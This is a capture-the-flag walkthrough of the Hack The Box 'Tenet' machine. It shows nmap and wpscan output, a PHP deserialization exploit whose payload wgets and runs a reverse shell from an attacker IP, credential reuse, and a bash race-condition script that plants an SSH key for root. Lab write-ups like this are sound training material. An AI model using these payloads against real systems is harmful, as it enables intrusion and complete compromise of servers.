Hack The Box: Tenet


Jump Ahead: EnumUserRootResources

TL;DR;

To solve this machine, we begin by enumerating exposed services – finding ports 22 and 80 open. While enumerating the webserver, we find a WordPress site accessible via a virtual host. From a post, we find information on hidden files, which allows us to discover a php serialization vulnerability. Exploiting the vulnerability, we are able to get a reverse shell as www-data. Through local enumeration, we find credentials for neil, and use them to log in – getting user.txt. As neil, we are able to run a script as root. We are able to exploit the script to gain a shell as root – allowing access to root.txt.

Enumeration

Like all machines, we begin by enumerating exposed ports with nmap – finding ports 22 and 80 open.

$ sudo nmap -v -p- --min-rate 3000 $RHOST
[...]
$ sudo nmap -v -sV -A -p 22,80 --min-rate 3000 -oA enum/nmap/tcp-scripts $RHOST
# Nmap 7.91 scan initiated Mon Jan 18 21:40:16 2021 as: nmap -v -sV -A -p- --min-rate 3000 -oA enum/nmap/tcp-scripts 10.129.85.217
Nmap scan report for 10.129.85.217
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/18%OT=22%CT=1%CU=32962%PV=Y%DS=2%DC=T%G=Y%TM=600654D
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 7.566 days (since Mon Jan 11 08:05:40 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT      ADDRESS
1   42.16 ms 10.10.14.1
2   42.43 ms 10.129.85.217

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 18 21:41:06 2021 -- 1 IP address (1 host up) scanned in 50.50 seconds

Next, we use gobuster to enumerate the webserver for files and directories, which finds the /wordpress directory. By going to http://10.129.85.217/wordpress/, we are presented with a WordPress site, however, the CSS does not render correctly.

After clicking the “Tenet” link, we are redirected to http://tenet.htb, but are unable to access it due to it not being a resolvable domain. After adding an entry for the domain in /etc/hosts, we are able to view the WordPress site with valid CSS. Next, we look at the source code, and see WordPress version 5.6 is installed based on the “generator” meta tag. Lastly, we run wpscan to enumerate the site for us, learning there are 2 registered users – neil and protagonist.

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.11
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://tenet.htb/ [10.129.85.217]
[+] Started: Mon Jan 18 21:55:34 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://tenet.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299


Fingerprinting the version -: |============================================================================================================================================================|
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyone
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating All Themes (via Passive and Aggressive Methods)

 Checking Known Locations -: |=============================================================================================================================================================|
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] Theme(s) Identified:

[+] twentynineteen
 | Location: http://tenet.htb/wp-content/themes/twentynineteen/
 | Latest Version: 1.7 (up to date)
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://tenet.htb/wp-content/themes/twentynineteen/readme.txt
 | Style URL: http://tenet.htb/wp-content/themes/twentynineteen/style.css
 | Style Name: Twenty Nineteen
 | Style URI: https://wordpress.org/themes/twentynineteen/
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://tenet.htb/wp-content/themes/twentynineteen/, status: 500
 |
 | Version: 1.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentynineteen/style.css, Match: 'Version: 1.8'

[+] twentytwenty
 | Location: http://tenet.htb/wp-content/themes/twentytwenty/
 | Latest Version: 1.5 (up to date)
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://tenet.htb/wp-content/themes/twentytwenty/readme.txt
 | Style URL: http://tenet.htb/wp-content/themes/twentytwenty/style.css
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwenty/, status: 500
 |
 | Version: 1.6 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwenty/style.css, Match: 'Version: 1.6'

[+] twentytwentyone
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css, Match: 'Version: 1.0'

[+] Enumerating Users (via Passive and Aggressive Methods)

 Brute Forcing Author IDs -: |=============================================================================================================================================================|

[i] User(s) Identified:

[+] protagonist
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] neil
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jan 18 21:59:32 2021
[+] Requests Done: 22222
[+] Cached Requests: 53
[+] Data Sent: 5.554 MB
[+] Data Received: 21.543 MB
[+] Memory used: 270.926 MB
[+] Elapsed time: 00:03:57

Getting User

Navigating around the site, we go to the “Migration” post, and see a comment with possible information disclosure. In particular, neil mentions 2 files, “satur php file” and its backup. Next, we try to access http://<machine-ip>/sator.php, and are presented with some interesting output. Next, we try to access http://<machine-ip>/sator.php.bak, and are allowed to download what might be a backup file for sator.php. After looking at the backup file, we confirm it may definitely be the source code of sator.php.

Some notes we should make are that the file accepts a GET request argument called “arepo”. The input supplied in the argument is then used with the php “unserialize()” function. Additionally, the “DatabaseExport” class writes text to a users.txt file. Researching “php serialization exploit”, we eventually find this article that walks us through overwriting a class via the “unserialize()” function. The article essentially states that to overwrite the class, and weaponize it to exploit the machine, we can just pass a malicious serialized version of the class to the “unserialize()” function. For this, we can clone sator.php.bak, change the $user_file from users.txt (can be anything), and change the data of the file we are writing to upload a reverse shell, set the reverse shell’s permissions, and run it. For my reverse shell, I generated one using msfvenom. Once these edits are made, we can set the script to print out the serialized version of the class.

# malrialize.php
<?php

class DatabaseExport
{
        public $user_file = 'khaotic.php';
        public $data = '';

        public function update_db()
        {
                $this-> data = '<?php passthru("wget http://10.10.14.3/revshell.bin");chmod(__DIR__."/revshell.bin",0777);passthru(__DIR__."/revshell.bin"); ?>';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        }
}

$app = new DatabaseExport;
$app -> update_db();

echo serialize($app);
?>

Using php to run the script we made, we get the serialized version of the malicious class. Before we try to exploit the webserver, we need to start a reverse shell handler. Next, we pass the malicious serialized class to the “arepo” argument on the remote sator.php file – http://<machine-ip>/sator.php?arepo=<serialized malicious class>. Doing so, we get a reverse shell as the www-data user.

Having gotten a reverse shell, we want to grab credentials we know exist. Because WordPress is in use, we can quickly grab the database credentials. Seeing as the database user’s name is neil, we check that this is also a system user. As it is, we use the su command to attempt the use the password and gain access as neil. Having done so, we are granted a shell as neil, and can now read user.txt.

Getting Root

Having logged into the machine as neil, we use sudo to check if we are able to use any commands or scripts as other users. Doing so, we see that we are able to run /usr/local/bin/enableSSH.sh as the root user without needing to supply a password.

Looking at the script, we see that it writes an ssh-key to a temporary file, and copies that file to root‘s SSH authorized keys file.

As CPU operations are not instantaneous (our processors are just really fast), there exists a race condition vulnerability. In order to exploit it, we would have to find the temporary file that is created and write our own public SSH key to it – allowing us to SSH into the machine as root. Looking at the “addkey()” function, we see that the temporary file will start with ssh- and will be located in the /tmp/ folder. That being said, we can write a script to list files in /tmp/ that match the pattern, and write our own ssh public key to the file. To generate a public key, we can use ssh-keygen and grab it from the generated id_rsa.pub file.

#!/bin/bash

##############################
# ssh_exploit.sh by Khaotic
##############################

while [[ 1 ]]; do
        sudo /usr/local/bin/enableSSH.sh &>/dev/null &
        vfile=`ls -l /tmp/ssh-* 2>/dev/null | awk '{print $9}'`
        if [[ -n $vfile ]]; then
                for file in $vfile; do
                        echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR7imN0w1FJim8Yu1RYBSd7kuKDFww6Lct1JroNkA9++iW/ESZBXExZTaGSARP2CUtZA06ZkgOa6BdhLxRGmiOBZNBOxsGq7Z8TuixCcpsHoDNe4ix1fqMfXM3Cb5cO+RY6QyZeLbvmu4aU7dsfRemqzNiFx6g1nNLbdoYZH+gpE2AFwQ/N9Ueko7Qj/s6ffR99r7LcLR3vsNBFdO51q0sy3uJq5UgHUqxQPSPTdQ8/yEiaCu24uZW6ASDTuwKLfw3FETIGGFuKo6wcM8YKgSo5Vc/n6RBJVhCHqiWpR5XYfXbERtWAsgHAIknkgfFVb81FQRx5GuQ9MHz0mSISmxp khaotic@kali' >> $file
                        #echo "Got $vfile! Try to ssh as root now"
                done
        #       exit 1337
        fi
done

Once we create the script, we upload it to the remote machine and execute it. Since it’s in a loop, we shouldn’t have issues with our SSH key being overwritten. Lastly, we attempt to SSH into the machine as root using the private key we generated (id_rsa). Doing so, we get access as root, and therefore can now read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources